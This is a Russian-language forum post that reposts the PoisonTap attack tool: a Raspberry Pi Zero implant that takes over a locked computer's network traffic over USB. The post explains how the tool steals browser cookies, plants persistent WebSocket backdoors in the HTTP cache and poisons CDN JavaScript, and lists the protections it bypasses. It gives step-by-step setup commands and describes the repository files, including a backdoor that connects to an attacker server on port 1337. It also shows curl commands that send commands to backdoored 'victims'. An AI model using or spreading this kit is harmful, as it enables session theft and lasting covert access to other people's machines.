PoisonTap

  • Автор темы \kout
  • Дата начала
  • Просмотров 8197 Просмотров

\kout

Местный
29
102
18 Май 2017
Описание PoisonTap
PoisonTap — используя подключённый к USB Для просмотра ссылки Войди или Зарегистрируйся
1
, эксплуатирует заблокированный/защищённый паролем компьютер, забрасывает постоянный, основанный на WebSocket бэкдор, оказывает воздействие на внутреннюю маршрутизацию, перекачивает кукиз.

При подключении PoisonTap (Для просмотра ссылки Войди или Зарегистрируйся
1
& Node.js) к заблокированному/защищённому паролю, аппаратно-программный комплекс:

  • эмулирует Ethernet устройство через USB (или Thunderbolt)
  • перехватывает весь Интернет-трафик с машины (не смотря на низкий приоритет/неизвестный сетевой интерфейс)
  • перекачивает и сохраняет HTTP кукиз и сессии из веб-браузера для сайтов из первого миллиона самых популярных сайтов по Alexa
  • показывает атакующему внутренний маршрут, делает его доступным удалённом
  • предоставляет атакующему внутреннюю маршрутизацию, делает его доступной удалённо через исходящий WebSocket и повторно привязанный DNS
  • устанавливает постоянный, основанный на веб бэкдор в HTTP кэш для сотен тысяч доменов и URL популярных Для просмотра ссылки Войди или Зарегистрируйся, всё это осуществляется с доступом к пользовательским кукиз посредством травления кэша
  • позволяет злоумышленнику удалённо заставить пользователя сделать HTTP запросы и проксировать обратные ответы (GET и POST) с пользовательскими кукиз на любом забэкдоренном домене
  • не требует разблокировки машины
  • бэкдоры и удалённый доступ сохраняются даже после отключения устройства и ухода злоумышленника
PoisonTap обходит следующие механизмы безопасности:

  • Защищённый паролем экран блокировки
  • Приоритет таблицы маршрутизации и порядок служб сетевых интерфейсов
  • Для просмотра ссылки Войди или Зарегистрируйся
  • X-Frame-Options
  • HttpOnly Cookies
  • Атрибут куки SameSite
  • Двух факторную/Многофакторную аутентификацию (2FA/MFA)
  • DNS закрепление
  • Для просмотра ссылки Войди или Зарегистрируйся
  • Защиту HTTPS куки когда флаг Для просмотра ссылки Войди или Зарегистрируйся и HSTS не задействованы
Демонстрация PoisonTap

PoisonTap встраивается в Для просмотра ссылки Войди или Зарегистрируйся
1
без каких-либо дополнительных компонентов, кроме как кабель микро-USB и карты microSD; также может работать на любом Raspberry Pi (1/2/3) с переходником Ethernet-to-USB/Thunderbolt, или может работать на устройствах, которые могут эмулировать USB гаджеты, такие как Armory и LAN Turtle.

Живая демонстрация и подробности (на английском) доступны в видео:

Справка по PoisonTap
Как работает PoisonTap

PoisonTap создаёт каскадный эффект за счёт использования существующего доверия в различных механизмах машины и сети, включая USB/Thunderbolt, DHCP, DNS и HTTP для воспроизведения эффекта снежного кома в эксфильтрации информации, сетевого доступа и установки полупостоянных бэкдоров.

Для просмотра ссылки Войди или Зарегистрируйся

Если коротко, PoisonTap выполняет следующее:

Перехват сети

  • Атакующий подключает PoisonTap (в специально подготовленной Для просмотра ссылки Войди или Зарегистрируйся
    1
    ) к заблокированному компьютеру (даже к компьютеру, защищённому паролем).
  • PoisonTap эмулирует Ethernet устройстов (например, Ethernet через USB/Thunderbolt) — по умолчанию, Windows, OS X и Linux распознают ethernet устройстов, автоматически загружают его как низкоприоритетное сетевое устройство и выполняют через него DHCP запрос, даже если машина заблокирована или защищена паролем
  • PoisonTap отвечает на DHCP запрос и предоставляет машине IP адрес, однако DHCP ответ сконструирован так, что сообщает машине, что всё пространство IPv4 (0.0.0.0 - 255.255.255.255) является частью локальной сети PoisonTap, а не маленькая подсеть (вроде 192.168.0.0 — 192.168.0.255)
  • Обычно это не имело бы значения, поскольку вторичное сетевое устройство подключается к машине с более низким приоритетом, чем существующие (доверенные) сетевые устройства, и не заменяет шлюз для Интернет трафика, но…
  • Любая таблица маршрутизации / шлюзовый приоритет / безопасность службы порядка сетевых интерфейсов обходятся благодаря приоритету "LAN трафика" над "Интернет трафиком"
  • PoisonTap эксплуатирует этот сетевой доступ, даже в качестве сетевого устройства с низким приоритетом, поскольку подсети низкоприоритетного сетевого устройства даётся более высокий приоритет, чем шлюзу (маршруту по умолчанию) более высокоприоритетных сетевых интерфейсов
  • Это означает, если трафик предназначен для 1.2.3.4, то при обычных условиях этот трафик отправился бы на дефолтный маршрут/шлюз главного (не-PoisonTap) сетевого устройства. На самом деле трафик получает PoisonTap, поскольку "локальная" сеть/подсеть предположительно содержит 1.2.3.4 и любой другой существующий IP адрес.
  • Из-за этого, весь Интернет-трафик проходит через PoisonTap, даже если машина подключена к другому сетевому устройству с более высоким приоритетом и надлежащим шлюзом (истинный wifi, ethernet и т. д.)

Перекачивание куки

  • До тех пор, пока в фоне работает веб-браузер, то весьма вероятно, что одна из страниц будет выполнять в фоне HTTP запрос (к примеру, загружать новую рекламу, отправлять данные для платформы аналитики или просто продолжать отслеживать ваши веб-передвижения) через AJAX или динамичные script/iframe тэги
  • Вы сами можете это увидеть, перейдите в панель разработчика/инспектора (обычно Cmd+Shift+I или Ctrl+Shift+I), зайдите на посещаемый веб-сайт, кликните на вкладке Сеть и посмотрите на то, как будет продолжаться доступ к удалённым ресурсам, даже если вы не выполняете никаких действий на странице
  • После этого HTTP запроса, т. к. весь трафик выходит из устройства PoisonTap, PoisonTap на лету спуфит (подменяет) DNS ответы на свой собственный адрес, что приведёт к тому, что HTTP запросы будут отправлены на веб-сервер (Node.js) PoisonTap
  • Если DNS сервер указывает на внутренний IP (LAN), на который у PoisonTap не хватает привилегий, атака продолжается для функционирования в качестве внутреннего DNS сервера, который воспроизведёт публичный IP адрес для различных атакуемых доменов, а публичные IP адреса PoisonTap уже перехватывает
  • После того, как отвечает внутренний DNS сервер, веб-браузер попадает на публичный IP, в конечном счёте переходит на веб-сервер (Node.js) PoisonTap в любом сценарии
  • Когда веб-сервер Node получает запрос, PoisonTap отвечает ответом, который может быть интерпретирован как HTML или Javascript, оба которых выполняются должным образом (многие веб-сайты будут загружать HTML или JS в фоновых запросах)
  • Страница HTML/JS-агностик затем вырабатывает много скрытых iframe, каждый iframe на различный домен из списка миллион самых посещаемых сайтов по Alexa
  • Любая ограничения "X-Frame-Options" обходятся, поскольку PoisonTap теперь является HTTP сервером и выбирает, какие заголовки отправлять клиенту
  • При каждом iframe HTTP запросе к сайту (например, Для просмотра ссылки Войди или Зарегистрируйся), HTTP cookies отправляются от браузера на "публичный IP", перехваченный PoisonTap, которая быстро записывает в журнал кукиз/информацию аутентификации, записывает десятки тысяч пользовательских кукиз в PoisonTap
  • Любые "HttpOnly" для безопасности куки обходятся, и эти куки захватываются, так как на самом домене не выполняется Javascript, он используется, в первую очередь, только для загрузки iframe
  • Любые политики безопасности Cross-Origin Resource Sharing или Same-Origin Policy обходятся, поскольку домен, к которому осуществляется доступ, представляется браузеру легитимным
  • Поскольку мы захватываем кукиз, а не учётные данные, любые реализации 2FA/MFA на этом сайте обходятся, когда атакующий использует куки для входа. Это от того, что мы в действительности не осуществляем функцию входа, а скорее продолжаем сессию, созданную при легитимном входе, что не вызывает срабатывание двухфакторной аутентификации
  • Если сервер использует HTTPS, но для кукиз явным образом не установлен флаг Для просмотра ссылки Войди или Зарегистрируйся, HTTPS защита обходится и куки отправляются на PoisonTap
Для просмотра ссылки Войди или Зарегистрируйся

Удалённый доступ через веб-бэкдоры

  • Пока PoisonTap воспроизводит тысячи PoisonTap, принуждая браузер загружать каждый из них, эти iframe совсем не являются не являются просто пустыми страницами, это скорее HTML+Javascript бэкдоры, которые кэшируются на неопределённый срок
  • Поскольку PoisonTap принудительно кэширует эти бэкдоры на каждом домене, бэкдоры привязаны к этим доменам, дают возможность атакующему использовать кукиз домена для запуска в дальнейшем запросов same-origin, даже если пользователь в данный момент не произвёл вход
  • Например, когда загружается iframe Для просмотра ссылки Войди или Зарегистрируйся, PoisonTap принимает отклонённый Интернет-трафик, отвечает на HTTP запрос через веб-сервер Node
  • Дополнительные HTTP заголовки добавляются для кэширования страницы на неопределённый срок
  • Фактически ответ страницы является комбинацией HTML и Javascript, который создаёт постоянный WebSocket на веб-сервер атакующего (через Интернет, не через устройство PoisonTap)
  • WebSocket остаётся открытым, позволяя злоумышленнику, в любой момент в будущем, обратно подключиться к забэкдоренной машине и выполнить запросы через любой источник, который имеет реализованный бэкдор (сайты Alexa top 1,000,000 — смотрите ниже)
  • Если бэкдор открыт на сайте (например, nfl.com), но пользователь желает атаковать другой домен (например, pinterest.com), злоумышленник может загрузить iframe на nfl.com для бэкдора pinterest.com (Для просмотра ссылки Войди или Зарегистрируйся)
  • Опять, любые безопасности "X-Frame-Options", Cross-Origin Resource Sharing, и Same-Origin Policy на доменах полностью обходятся, поскольку запросы вызовут кэш, который оставил PoisonTap, а не истинный домен
Для просмотра ссылки Войди или Зарегистрируйся
1
:


Бэкдор внутреннего маршрута и Удалённый доступ

  • Одна сеть PoisonTap не способна захватить фактическую LAN подсеть истинного сетевого интерфейса (например, если подсеть пользовательского wifi это 192.168.0.x, эта сеть невосприимчива), но…
  • PoisonTap принудительно кэширует бэкдор на специальный хост, в частности IP целевого роутера предваряется ".ip.samy.pl", например, 192.168.0.1.ip.samy.pl, по существу, производиться атака стойкой подмены DNS
  • При использовании PoisonTap в качестве DNS сервера (жертва, использующая публичный DNS сервер), PoisonTap отвечает специализированным временным IP (1.0.0.1), означающий в данный момент любые запросы будут переданы на веб-сервер PoisonTap
  • Если вместо DNS сервера настроено на внутреннюю сеть (например, 192.168.0.x), дополнительный специально сконструированный запрос делается на 1.0.0.1.pin.ip.samy.pl, который говорит моему специализированному серверу DNS (в публичном Интернете) временно реагировать на любые [ip.address].ip.samy.pl адреса с "приколотым" адресом (1.0.0.1) в течение нескольких секунд
  • Затем PoisonTap быстро устанавливает бэкдор на Для просмотра ссылки Войди или Зарегистрируйся, который на мгновение направляет на устройство PoisonTap на 1.0.0.1, получить доступ и кэшировать бэкдор с устройства PoisonTap
  • Прикалывание (pinning) DNS и переназначение (Для просмотра ссылки Войди или Зарегистрируйся) DNS в обход ограничений возможно благодаря израсходованию таблицы соответствий DNS из-за сотен тысяч запросов., которые предварительно осуществляются, и в будущем не должна произойти перепривязка, что сохраняет эффект от этой атаки на длительный период времени
  • Теперь, когда бэкдор принудительно хеширован на Для просмотра ссылки Войди или Зарегистрируйся, любые будущие запросы на 192.168.0.1.ip.samy.pl будут вызывать не прикреплённый IP адрес, что приведёт к преобразованию 192.168.0.1 вместо прямого направления на роутер
  • Это означает, если удалённо через бэкдор загружается хост 192.168.0.1.ip.samy.pl/PoisonTap в iframe, теперь вы можете выполнять AJAX GET/POST на любые другие страницы на внутреннем роутере, полностью удалённо, т. е. даётся удалённый доступ к внутреннему роутеру.
  • Это может привести к другим атакам на роутер, к которым в ином случае атакующий никогда бы не имел доступ, таким как использование дефолтных учётных данных администратора роутера для перезаписи DNS серверов или открывая другие уязвимости аутентификации
Для просмотра ссылки Войди или Зарегистрируйся

Recap DNS сервера:

  • [ip.addy].ip.samy.pl обычно отвечает с [ip.addy]
  • 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)
  • [ip.addy].pin.ip.samy.pl временно (~5 секунд) указывает *.ip.samy.pl to [ip.addy]
  • 1.0.0.1.pin.ip.samy.pl -> 1.0.0.1
  • 192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL)
  • (после ~5 секунд)
  • 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)
Дополнительные доступные удалённо веб-бэкдоры

  • Дополнительно PoisonTap заменяет тысячи популярных, основанных на CDN, Javascript файлов, например CDN от Google и jQuery, корректным кодом плюс бэкдором, который даёт злоумышленнику доступ на любой загружаемый домен с инфицированным файлов Javascript из CDN
  • Поскольку бэкдор оставляется на каждом домене, это позволяет атакующему удалённо принуждать забэкдоренный браузер выполнять запросы same-origin (AJAX GET/POST), на, теоретически, любом крупном домене, даже если жертва в текущий момент не имеет в данный момент открытых окон на этом домене.
  • Теперь бэкдор будет жить на любом дополнительном сайте, который также использует один из инфицированных, основанных на HTTP, фреймворков CDN Javascript при посещении жертвой сайта
Для просмотра ссылки Войди или Зарегистрируйся

Установка PoisonTap
Загрузка PoisonTap

Исходный код: Для просмотра ссылки Войди или Зарегистрируйся

git clone Для просмотра ссылки Войди или Зарегистрируйся
Установка / Размещение файлов
Инструкция адаптированна из Для просмотра ссылки Войди или Зарегистрируйся
sudo bash
Если Raspbian ДО 2016-05-10, тогда запустите следующую строку:
BRANCH=next rpi-update

echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo "dtoverlay=dwc2" >> /boot/config.txt
echo -e "dwc2\ng_ether" >> /etc/modules
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local
mkdir /home/pi/poisontap
chown -R pi /home/pi/poisontap
apt-get update && apt-get upgrade
apt-get -y install isc-dhcp-server dsniff screen nodejs

Поместите dhcpd.conf в /etc/dhcp/dhcpd.conf, а остальные файлы в /home/pi/poisontap, затем перезагрузите, чтобы убедиться, что всё работает.

В репозитории присутствует ряд файлов, которые имеют различное применение. Их перечень:

  • backdoor.html — Всякий раз, когда происходит переход по URL Для просмотра ссылки Войди или Зарегистрируйся для эксфильтрации кукиз, этот файл возвращается в качестве содержимого для принудительного кэширования. Он содержит бэкдор, который создаёт исходящий websocket на samy.pl:1337 (настраивается на любой хост/порт), который остаётся открытым для команд с сервера. Это означает, когда вы загружаете iframe на сайте, такой как Для просмотра ссылки Войди или Зарегистрируйся, будет заполнено этим содержимым (даже после удаления из машины PoisonTap).
  • backend_server.js — это сервер Node.js, который вы запускаете на вашем доступном из Интернета сервере. Это то, к чему подключается backdoor.html (например, samy.pl:1337). Этот тот же сервер, к которому вы подключаетесь для отправки команд для ваших любимых машин, в которые вы ранее втыкали PoisonTapp, например
всплывающее окно для жертвы
curl 'Для просмотра ссылки Войди или Зарегистрируйся("muahahahaha")'
установка кукиз для жертвы
curl 'Для просмотра ссылки Войди или Зарегистрируйся"key=value"'
принудить жертвы загружить url через ajax (помните, jQuery сохранён внутри бэкдора)
curl 'Для просмотра ссылки Войди или Зарегистрируйся("Для просмотра ссылки Войди или Зарегистрируйся",function(d)\{console.log(d)\})'
  • pi_poisontap.js — Он запускается через Node.js на Для просмотра ссылки Войди или Зарегистрируйся
    1
    и является HTTP сервером, ответственным за обработку любых HTTP запросов, перехватываемых PoisonTap, сохранение перекаченных кукиз и внедрение кэшированных бэкдоров.
  • pi_startup.sh — Он запускается при старте Для просмотра ссылки Войди или Зарегистрируйся
    1
    , чтобы настроить и поднять эмулятор гаджета Ethernet-over-USB, поднять наш злой DHCP сервер, позволить перенаправлять трафик, DNS спуфинг и запустить описанный выше pi_poisontap.js.
  • target_backdoor.js — Это файл, добавляемый к любым связанным с CDN Javascript файлам, таким образом забэкдоривая их, например, CDN jQuery URL от Google.
  • target_injected_xhtmljs.html — Это код, который внедряется в непреднамеренные/фоновые HTTP/AJAX запросы на машине жертвы и запускает всю атаку. Он сконструирован таким образом, что он может быть интерпретирован как HTML или как Javascript, и при этом исполняет тот же код. В нём же HTML5 canvas, который можно наблюдать в демонстрации, когда страницы пропускаются через PoisonTap.
  • poisontap.cookies.log — Этот файл генерируется после начала отправки HTTP зоапросов с пользовательской машины на PoisonTap, в нём сохраняются куки из браузера вместе с ассоциированным URL/доменом, которому они принадлежат.
Инструкции по PoisonTap
Подробнейшая инструкция по установке PoisonTap начиная с прожига прошивки Raspbian
Часть 1

1. Прожгите Raspbian Jessie full или Raspbian Jessie Lite на SD карту (Для просмотра ссылки Войди или Зарегистрируйся).

2. После прожига Raspbian, откройте загрузочный раздел (в Windows Explorer, Finder и т. д.) и добавьте в конец файла config.txt новую строку

dtoverlay=dwc2
и сохраните файл.


3. И, наконец, откройте cmdline.txt. Будьте осторожны с этим файлом, он очень чувствителен к форматированию! Каждый параметр разделяется одиночный пробелом (он не использует новые строки). Вставьте

modules-load=dwc2,g_ether
после

rootwait
Для сравнения, отредактированную версию файла cmdline.txt во время записи можно найти Для просмотра ссылки Войди или Зарегистрируйся.

Вот и всё, извлеките SD карту из вашего компьютера, поместите её в ваш Raspberry Pi Zero и подключите через USB к вашему компьютеру. Понадобиться до 90 секунд для загрузки (меньше при последующих загрузках). Должно появиться USB Ethernet устройство. Вы можете подключиться к нему по SSH используя raspberrypi.local в качестве адреса.

Часть 2

1. Войдите по ssh в ваш RaspberryPi с

ssh pi@[RASPBERRY_IP]
(пароль по умолчанию «raspberry»)

2. Установите необходимые инструменты запустив

sudo apt-get install dsniff isc-dhcp-server nodejs screen
(NodeJS может уже быть установлен)

3. Теперь нам нужно настроить рабочую облать. Перейдите в домашнюю директорию pi

cd /home/pi/
затем загрузите PoisonTap

git clone Для просмотра ссылки Войди или Зарегистрируйся
4. Установите скрипт запускать

sudo cp /home/pi/poisontap/pi_startup.sh /etc/init.d/ && sudo chmod +x /etc/init.d/pi_startup.sh
Также нам нужно запустить pi_startup.sh во время загрузки:

sudo nano /etc/rc.local
и добавьте

/etc/init.d/pi_startup.sh &
ПРЯМО ПЕРЕД

exit 0
Сделайте настройку DHCP: PoisonTap предоставляет конфигурационный файл, просто наберите

sudo cp /home/pi/poistontap/dhcpd.conf /etc/dhcp/dhcpd.conf
Далее нам нужно установить usb0 интерфейс

echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
(Если у вас появилась ошибка о запрещённом доступе даже с sudo, то просто запустите

su

наберите пароль рута. Если вы не знаете этот пароль, запустите

passwd root
и выберите безопасный пароль). Когда вы вошли под рутом, запустите команду снова. Не забудьте выйти из сессии рута когда вы закончите.

Часть 3

Вы можете отключить все кабели вашей RPi и затем подключить её к целевому компьютеру. (Тупое напоминание: Используйте `OTG raspberry's port`, а не `PWR`).

Подождите несколько секунд и попробуйте загрузить `Для просмотра ссылки Войди или Зарегистрируйся` в браузере. Все HTTP запросы будут записаны в RPi в /home/pi/poisontap/poisontap.cookies.log.
 
Последнее редактирование: